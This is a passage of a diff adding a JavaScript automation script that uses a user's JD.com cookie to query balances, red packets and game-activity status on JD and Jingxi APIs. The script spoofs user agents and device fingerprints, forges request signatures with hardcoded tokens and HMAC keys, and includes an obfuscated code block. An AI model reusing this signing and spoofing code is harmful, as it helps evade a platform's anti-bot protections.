"1") { + console.log(`使用X1a0He写的接口加强检测: Cookie有效\n`) + } else if (data.islogin === "0") { + $.isLogin = false; + console.log(`使用X1a0He写的接口加强检测: Cookie无效\n`) + } else { + console.log(`使用X1a0He写的接口加强检测: 未知返回,不作变更...\n`) + $.error = `${$.nickName} :` + `使用X1a0He写的接口加强检测: 未知返回...\n` + } + } + } catch (e) { + console.log(e); + } + finally { + resolve(); + } + }); + }); +} + +function getJingBeanBalanceDetail(page) { + return new Promise(async resolve => { + const options = { + "url": `https://api.m.jd.com/client.action?functionId=getJingBeanBalanceDetail`, + "body": `body=${escape(JSON.stringify({"pageSize": "20", "page": page.toString()}))}&appid=ld`, + "headers": { + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Cookie': cookie, + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + // console.log(data) + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} +function queryexpirejingdou() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/activep3/singjd/queryexpirejingdou?_=${Date.now()}&g_login_type=1&sceneval=2`, + "headers": { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Host": "wq.jd.com", + "Referer": "https://wqs.jd.com/promote/201801/bean/mybean.html", + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.1 Mobile/15E148 Safari/604.1" + } + } + $.expirejingdou = 0; + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + // console.log(data) + data = JSON.parse(data.slice(23, -13)); + // console.log(data) + if (data.ret === 0) { + data['expirejingdou'].map(item => { + //console.log(`${timeFormat(item['time'] * 1000)}日过期京豆:${item['expireamount']}\n`); + }) + $.expirejingdou = data['expirejingdou'][0]['expireamount']; + // if ($.expirejingdou > 0) { + // $.message += `\n今日将过期:${$.expirejingdou}京豆 🐶`; + // } + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function redPacket() { + return new Promise(async resolve => { + const options = { + "url": `https://m.jingxi.com/user/info/QueryUserRedEnvelopesV2?type=1&orgFlag=JD_PinGou_New&page=1&cashRedType=1&redBalanceFlag=1&channel=1&_=${+new Date()}&sceneval=2&g_login_type=1&g_ty=ls`, + "headers": { + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://st.jingxi.com/my/redpacket.shtml?newPg=App&jxsid=16156262265849285961', + 'Accept-Encoding': 'gzip, deflate, br', + "Cookie": cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data).data; + $.jxRed = 0, + $.jsRed = 0, + $.jdRed = 0, + $.jdhRed = 0, + $.jxRedExpire = 0, + $.jsRedExpire = 0, + $.jdRedExpire = 0, + $.jdhRedExpire = 0; + let t = new Date(); + t.setDate(t.getDate() + 1); + t.setHours(0, 0, 0, 0); + t = parseInt((t - 1) / 1000); + for (let vo of data.useRedInfo.redList || []) { + if (vo.orgLimitStr && vo.orgLimitStr.includes("京喜")) { + $.jxRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jxRedExpire += parseFloat(vo.balance) + } + } else if (vo.activityName.includes("极速版")) { + $.jsRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jsRedExpire += parseFloat(vo.balance) + } + } else if (vo.orgLimitStr && vo.orgLimitStr.includes("京东健康")) { + $.jdhRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdhRedExpire += parseFloat(vo.balance) + } + } else { + $.jdRed += parseFloat(vo.balance) + if (vo['endTime'] === t) { + $.jdRedExpire += parseFloat(vo.balance) + } + } + } + $.jxRed = $.jxRed.toFixed(2); + $.jsRed = $.jsRed.toFixed(2); + $.jdRed = $.jdRed.toFixed(2); + $.jdhRed = $.jdhRed.toFixed(2); + $.balance = data.balance; + $.expiredBalance = ($.jxRedExpire + $.jsRedExpire + $.jdRedExpire).toFixed(2); + $.message += `【红包总额】${$.balance}(总过期${$.expiredBalance})元 \n`; + if ($.jxRed > 0) + $.message += `【京喜红包】${$.jxRed}(将过期${$.jxRedExpire.toFixed(2)})元 \n`; + if ($.jsRed > 0) + $.message += `【极速红包】${$.jsRed}(将过期${$.jsRedExpire.toFixed(2)})元 \n`; + if ($.jdRed > 0) + $.message += `【京东红包】${$.jdRed}(将过期${$.jdRedExpire.toFixed(2)})元 \n`; + if ($.jdhRed > 0) + $.message += `【健康红包】${$.jdhRed}(将过期${$.jdhRedExpire.toFixed(2)})元 \n`; + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function getJdZZ() { + return new Promise(resolve => { + $.get(taskJDZZUrl("interactTaskIndex"), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`京东赚赚API请求失败,请检查网路重试`); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JdzzNum = data.data.totalNum; + } + } + } catch (e) { + //$.logErr(e, resp) + console.log(`京东赚赚数据获取失败`); + } + finally { + resolve(data); + } + }) + }) +} + +function taskJDZZUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getMs() { + return new Promise(resolve => { + $.post(taskMsPostUrl('homePageV2', {}, 'appid=SecKill2020'), (err, resp, data) => { + try { + if (err) { + console.log(`${err},${jsonParse(resp.body)['message']}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === 2041 || data.code === 2042) { + $.JdMsScore = data.result.assignment.assignmentPoints || 0 + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +function taskMsPostUrl(function_id, body = {}, extra = '', function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&${extra}`, + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/babelDiy/Zeus/2NUvze9e1uWf4amBhe1AV6ynmSuH/index.html", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +async function getjdfruit() { + return new Promise(resolve => { + const option = { + url: `${JD_API_HOST}?functionId=initForFarm`, + body: `body=${escape(JSON.stringify({"version":4}))}&appid=wh5&clientVersion=9.1.0`, + headers: { + "accept": "*/*", + "accept-encoding": "gzip, deflate, br", + "accept-language": "zh-CN,zh;q=0.9", + "cache-control": "no-cache", + "cookie": cookie, + "origin": "https://home.m.jd.com", + "pragma": "no-cache", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "same-site", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.post(option, (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + if (safeGet(data)) { + $.farmInfo = JSON.parse(data) + if ($.farmInfo.farmUserPro) { + $.JdFarmProdName = $.farmInfo.farmUserPro.name; + $.JdtreeEnergy = $.farmInfo.farmUserPro.treeEnergy; + $.JdtreeTotalEnergy = $.farmInfo.farmUserPro.treeTotalEnergy; + $.treeState = $.farmInfo.treeState; + let waterEveryDayT = $.JDwaterEveryDayT; + let waterTotalT = ($.farmInfo.farmUserPro.treeTotalEnergy - $.farmInfo.farmUserPro.treeEnergy - $.farmInfo.farmUserPro.totalEnergy) / 10; //一共还需浇多少次水 + let waterD = Math.ceil(waterTotalT / waterEveryDayT); + + $.JdwaterTotalT = waterTotalT; + $.JdwaterD = waterD; + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function jdfruitRequest(function_id, body = {}, timeout = 1000) { + return new Promise(resolve => { + setTimeout(() => { + $.get(taskfruitUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东农场: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDwaterEveryDayT = data.totalWaterTaskInit.totalWaterTaskTimes; + } + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data); + } + }) + }, timeout) + }) +} + +async function PetRequest(function_id, body = {}) { + await $.wait(3000); + return new Promise((resolve, reject) => { + $.post(taskPetUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n东东萌宠: API查询请求失败 ‼️‼️'); + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } + finally { + resolve(data) + } + }) + }) +} +function taskPetUrl(function_id, body = {}) { + body["version"] = 2; + body["channel"] = 'app'; + return { + url: `${JD_API_HOST}?functionId=${function_id}`, + body: `body=${escape(JSON.stringify(body))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, + headers: { + 'Cookie': cookie, + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + } + }; +} + +function taskfruitUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=wh5&body=${escape(JSON.stringify(body))}`, + headers: { + Cookie: cookie, + UserAgent: $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + }, + timeout: 10000, + } +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function cash() { + return new Promise(resolve => { + $.get(taskcashUrl('MyAssetsService.execute', { + "method": "userCashRecord", + "data": { + "channel": 1, + "pageNum": 1, + "pageSize": 20 + } + }), + async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + $.JDtotalcash = data.data.goldBalance; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(data); + } + }) + }) +} + +var __Oxb24bc = ["lite-android&", "stringify", "&android&3.1.0&", "&", "&846c4c32dae910ef", "12aea658f76e453faf803d15c40a72e0", "isNode", "crypto-js", "", "api?functionId=", "&body=", "&appid=lite-android&client=android&uuid=846c4c32dae910ef&clientVersion=3.1.0&t=", "&sign=", "api.m.jd.com", "*/*", "RN", "JDMobileLite/3.1.0 (iPad; iOS 14.4; Scale/2.00)", "zh-Hans-CN;q=1, ja-CN;q=0.9", "undefined", "log", "", "", "", "", "jsjia", "mi.com"]; + +function taskcashUrl(_0x7683x2, _0x7683x3 = {}) { + let _0x7683x4 = +new Date(); + let _0x7683x5 = `${__Oxb24bc[0x0]}${JSON[__Oxb24bc[0x1]](_0x7683x3)}${__Oxb24bc[0x2]}${_0x7683x2}${__Oxb24bc[0x3]}${_0x7683x4}${__Oxb24bc[0x4]}`; + let _0x7683x6 = __Oxb24bc[0x5]; + const _0x7683x7 = $[__Oxb24bc[0x6]]() ? require(__Oxb24bc[0x7]) : CryptoJS; + let _0x7683x8 = _0x7683x7.HmacSHA256(_0x7683x5, _0x7683x6).toString(); + return { + url: `${__Oxb24bc[0x8]}${JD_API_HOST}${__Oxb24bc[0x9]}${_0x7683x2}${__Oxb24bc[0xa]}${escape(JSON[__Oxb24bc[0x1]](_0x7683x3))}${__Oxb24bc[0xb]}${_0x7683x4}${__Oxb24bc[0xc]}${_0x7683x8}${__Oxb24bc[0x8]}`, + headers: { + 'Host': __Oxb24bc[0xd], + 'accept': __Oxb24bc[0xe], + 'kernelplatform': __Oxb24bc[0xf], + 'user-agent': __Oxb24bc[0x10], + 'accept-language': __Oxb24bc[0x11], + 'Cookie': cookie + } + } +} +(function (_0x7683x9, _0x7683xa, _0x7683xb, _0x7683xc, _0x7683xd, _0x7683xe) { + _0x7683xe = __Oxb24bc[0x12]; + _0x7683xc = function (_0x7683xf) { + if (typeof alert !== _0x7683xe) { + alert(_0x7683xf) + }; + if (typeof console !== _0x7683xe) { + console[__Oxb24bc[0x13]](_0x7683xf) + } + }; + _0x7683xb = function (_0x7683x7, _0x7683x9) { + return _0x7683x7 + _0x7683x9 + }; + _0x7683xd = _0x7683xb(__Oxb24bc[0x14], _0x7683xb(_0x7683xb(__Oxb24bc[0x15], __Oxb24bc[0x16]), __Oxb24bc[0x17])); + try { + _0x7683x9 = __encode; + if (!(typeof _0x7683x9 !== _0x7683xe && _0x7683x9 === _0x7683xb(__Oxb24bc[0x18], __Oxb24bc[0x19]))) { + _0x7683xc(_0x7683xd) + } + } catch (e) { + _0x7683xc(_0x7683xd) + } +})({}) + +async function JxmcGetRequest() { + let url = ``; + let myRequest = ``; + url = `https://m.jingxi.com/jxmc/queryservice/GetHomePageInfo?channel=7&sceneid=1001&activeid=null&activekey=null&isgift=1&isquerypicksite=1&_stk=channel%2Csceneid&_ste=1`; + url += `&h5st=${decrypt(Date.now(), '', '', url)}&_=${Date.now() + 2}&sceneval=2&g_login_type=1&callback=jsonpCBK${String.fromCharCode(Math.floor(Math.random() * 26) + "A".charCodeAt(0))}&g_ty=ls`; + myRequest = getGetRequest(`GetHomePageInfo`, url); + + return new Promise(async resolve => { + $.get(myRequest, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`API请求失败,请检查网路重试`) + $.runFlag = false; + console.log(`请求失败`) + } else { + data = JSON.parse(data.match(new RegExp(/jsonpCBK.?\((.*);*/))[1]); + if (data.ret === 0) { + $.JDEggcnt = data.data.eggcnt; + } + } + } catch (e) { + console.log(data); + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜工厂信息查询 +function getJxFactory() { + return new Promise(async resolve => { + let infoMsg = ""; + let strTemp = ""; + await $.get(jxTaskurl('userinfo/GetUserInfo', `pin=&sharePin=&shareType=&materialTuanPin=&materialTuanId=&source=`, '_time,materialTuanId,materialTuanPin,pin,sharePin,shareType,source,zone'), async(err, resp, data) => { + try { + if (err) { + $.jxFactoryInfo = ""; + //console.log("jx工厂查询失败" + err) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.unActive = true; //标记是否开启了京喜活动或者选购了商品进行生产 + if (data.factoryList && data.productionList) { + const production = data.productionList[0]; + const factory = data.factoryList[0]; + //const productionStage = data.productionStage; + $.commodityDimId = production.commodityDimId; + // subTitle = data.user.pin; + await GetCommodityDetails(); //获取已选购的商品信息 + infoMsg = `${$.jxProductName}(${((production.investedElectric / production.needElectric) * 100).toFixed(0)}%`; + if (production.investedElectric >= production.needElectric) { + if (production['exchangeStatus'] === 1) { + infoMsg = `${$.jxProductName}已可兑换`; + $.jxFactoryReceive = `${$.jxProductName}`; + } + if (production['exchangeStatus'] === 3) { + if (new Date().getHours() === 9) { + infoMsg = `兑换超时,请重选商品!`; + } + } + // await exchangeProNotify() + } else { + strTemp = `,${((production.needElectric - production.investedElectric) / (2 * 60 * 60 * 24)).toFixed(0)}天)`; + if (strTemp == ",0天)") + infoMsg += ",今天)"; + else + infoMsg += strTemp; + } + if (production.status === 3) { + infoMsg = "商品已失效,请重选商品!"; + } + } else { + $.unActive = false; //标记是否开启了京喜活动或者选购了商品进行生产 + if (!data.factoryList) { + infoMsg = "" + // $.msg($.name, '【提示】', `京东账号${$.index}[${$.nickName}]京喜工厂活动未开始\n请手动去京东APP->游戏与互动->查看更多->京喜工厂 开启活动`); + } else if (data.factoryList && !data.productionList) { + infoMsg = "" + } + } + } + } else { + console.log(`GetUserInfo异常:${JSON.stringify(data)}`) + } + } + $.jxFactoryInfo = infoMsg; + // console.log(infoMsg); + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 惊喜的Taskurl +function jxTaskurl(functionId, body = '', stk) { + let url = `https://m.jingxi.com/dreamfactory/${functionId}?zone=dream_factory&${body}&sceneval=2&g_login_type=1&_time=${Date.now()}&_=${Date.now() + 2}&_ste=1` + url += `&h5st=${decrypt(Date.now(), stk, '', url)}` + if (stk) { + url += `&_stk=${encodeURIComponent(stk)}`; + } + return { + url, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': functionId === 'AssistFriend' ? "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36" : 'jdpingou', + 'Accept-Language': 'zh-cn', + 'Referer': 'https://wqsd.jd.com/pingou/dream_factory/index.html', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +//惊喜查询当前生产的商品名称 +function GetCommodityDetails() { + return new Promise(async resolve => { + // const url = `/dreamfactory/diminfo/GetCommodityDetails?zone=dream_factory&sceneval=2&g_login_type=1&commodityId=${$.commodityDimId}`; + $.get(jxTaskurl('diminfo/GetCommodityDetails', `commodityId=${$.commodityDimId}`, `_time,commodityId,zone`), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['ret'] === 0) { + data = data['data']; + $.jxProductName = data['commodityList'][0].name; + } else { + console.log(`GetCommodityDetails异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +// 东东工厂信息查询 +async function getDdFactoryInfo() { + // 当心仪的商品存在,并且收集起来的电量满足当前商品所需,就投入 + let infoMsg = ""; + return new Promise(resolve => { + $.post(ddFactoryTaskUrl('jdfactory_getHomeData'), async(err, resp, data) => { + try { + if (err) { + $.ddFactoryInfo = "获取失败!" + /*console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`)*/ + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data.bizCode === 0) { + // $.newUser = data.data.result.newUser; + //let wantProduct = $.isNode() ? (process.env.FACTORAY_WANTPRODUCT_NAME ? process.env.FACTORAY_WANTPRODUCT_NAME : wantProduct) : ($.getdata('FACTORAY_WANTPRODUCT_NAME') ? $.getdata('FACTORAY_WANTPRODUCT_NAME') : wantProduct); + if (data.data.result.factoryInfo) { + let { + totalScore, + useScore, + produceScore, + remainScore, + couponCount, + name + } = data.data.result.factoryInfo; + if (couponCount == 0) { + infoMsg = `${name} 没货了,死了这条心吧!` + } else { + infoMsg = `${name}(${((remainScore * 1 + useScore * 1) / (totalScore * 1)* 100).toFixed(0)}%,剩${couponCount})` + } + if (((remainScore * 1 + useScore * 1) >= totalScore * 1 + 100000) && (couponCount * 1 > 0)) { + // await jdfactory_addEnergy(); + infoMsg = `${name} 可以兑换了!` + $.DdFactoryReceive = `${name}`; + + } + + } else { + infoMsg = `` + } + } else { + $.ddFactoryInfo = "" + } + } + } + $.ddFactoryInfo = infoMsg; + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} + +function ddFactoryTaskUrl(function_id, body = {}, function_id2) { + let url = `${JD_API_HOST}`; + if (function_id2) { + url += `?functionId=${function_id2}`; + } + return { + url, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.1.0`, + headers: { + "Accept": "application/json, text/plain, */*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": cookie, + "Host": "api.m.jd.com", + "Origin": "https://h5.m.jd.com", + "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2uSsV2wHEkySvompfjB43nuKkcHp/index.html", + "User-Agent": "jdapp;iPhone;9.3.4;14.3;88732f840b77821b345bf07fd71f609e6ff12f43;network/4g;ADID/1C141FDD-C62F-425B-8033-9AAB7E4AE6A3;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone11,8;addressid/2005183373;supportBestPay/0;appBuild/167502;jdSupportDarkMode/0;pv/414.19;apprpd/Babel_Native;ref/TTTChannelViewContoller;psq/5;ads/;psn/88732f840b77821b345bf07fd71f609e6ff12f43|1701;jdv/0|iosapp|t_335139774|appshare|CopyURL|1610885480412|1610885486;adk/;app_device/IOS;pap/JA2015_311210|9.3.4|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + }, + timeout: 10000, + } +} + +async function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`), async(err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`汪汪乐园 API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success) { + $.joylevel = data.data.level; + } + } + } catch (e) { + $.logErr(e, resp) + } + finally { + resolve(); + } + }) + }) +} +function taskPostClientActionUrl(body) { + return { + url: `https://api.m.jd.com/client.action?functionId=joyBaseInfo`, + body: body, + headers: { + 'User-Agent': $.user_agent, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function randomString(e) { + e = e || 32; + let t = "0123456789abcdef", + a = t.length, + n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function getGetRequest(type, url) { + UA = `jdpingou;iPhone;4.13.0;14.4.2;${randomString(40)};network/wifi;model/iPhone10,2;appBuild/100609;ADID/00000000-0000-0000-0000-000000000000;supportApplePay/1;hasUPPay/0;pushNoticeIsOpen/1;hasOCPay/0;supportBestPay/0;session/${Math.random * 98 + 1};pap/JA2019_3111789;brand/apple;supportJDSHWK/1;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148` + + const method = `GET`; + let headers = { + 'Origin': `https://st.jingxi.com`, + 'Cookie': cookie, + 'Connection': `keep-alive`, + 'Accept': `application/json`, + 'Referer': `https://st.jingxi.com/pingou/jxmc/index.html`, + 'Host': `m.jingxi.com`, + 'User-Agent': UA, + 'Accept-Encoding': `gzip, deflate, br`, + 'Accept-Language': `zh-cn` + }; + return { + url: url, + method: method, + headers: headers + }; +} + +Date.prototype.Format = function (fmt) { + var e, + n = this, + d = fmt, + l = { + "M+": n.getMonth() + 1, + "d+": n.getDate(), + "D+": n.getDate(), + "h+": n.getHours(), + "H+": n.getHours(), + "m+": n.getMinutes(), + "s+": n.getSeconds(), + "w+": n.getDay(), + "q+": Math.floor((n.getMonth() + 3) / 3), + "S+": n.getMilliseconds() + }; + /(y+)/i.test(d) && (d = d.replace(RegExp.$1, "".concat(n.getFullYear()).substr(4 - RegExp.$1.length))); + for (var k in l) { + if (new RegExp("(".concat(k, ")")).test(d)) { + var t, + a = "S+" === k ? "000" : "00"; + d = d.replace(RegExp.$1, 1 == RegExp.$1.length ? l[k] : ("".concat(a) + l[k]).substr("".concat(l[k]).length)) + } + } + return d; +} + +function decrypt(time, stk, type, url) { + stk = stk || (url ? getJxmcUrlData(url, '_stk') : '') + if (stk) { + const timestamp = new Date(time).Format("yyyyMMddhhmmssSSS"); + let hash1 = ''; + if ($.fingerprint && $.Jxmctoken && $.enCryptMethodJD) { + hash1 = $.enCryptMethodJD($.Jxmctoken, $.fingerprint.toString(), timestamp.toString(), $.appId.toString(), $.CryptoJS).toString($.CryptoJS.enc.Hex); + } else { + const random = '5gkjB6SpmC9s'; + $.Jxmctoken = `tk01wcdf61cb3a8nYUtHcmhSUFFCfddDPRvKvYaMjHkxo6Aj7dhzO+GXGFa9nPXfcgT+mULoF1b1YIS1ghvSlbwhE0Xc`; + $.fingerprint = 5287160221454703; + const str = `${$.Jxmctoken}${$.fingerprint}${timestamp}${$.appId}${random}`; + hash1 = $.CryptoJS.SHA512(str, $.Jxmctoken).toString($.CryptoJS.enc.Hex); + } + let st = ''; + stk.split(',').map((item, index) => { + st += `${item}:${getJxmcUrlData(url, item)}${index === stk.split(',').length - 1 ? '' : '&'}`; + }) + const hash2 = $.CryptoJS.HmacSHA256(st, hash1.toString()).toString($.CryptoJS.enc.Hex); + return encodeURIComponent(["".concat(timestamp.toString()), "".concat($.fingerprint.toString()), "".concat($.appId.toString()), "".concat($.Jxmctoken), "".concat(hash2)].join(";")) + } else { + return '20210318144213808;8277529360925161;10001;tk01w952a1b73a8nU0luMGtBanZTHCgj0KFVwDa4n5pJ95T/5bxO/m54p4MtgVEwKNev1u/BUjrpWAUMZPW0Kz2RWP8v;86054c036fe3bf0991bd9a9da1a8d44dd130c6508602215e50bb1e385326779d' + } +} + +async function requestAlgo() { + $.fingerprint = await generateFp(); + $.appId = 10028; + const options = { + "url": `https://cactus.jd.com/request_algo?g_ty=ajax`, + "headers": { + 'Authority': 'cactus.jd.com', + 'Pragma': 'no-cache', + 'Cache-Control': 'no-cache', + 'Accept': 'application/json', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like 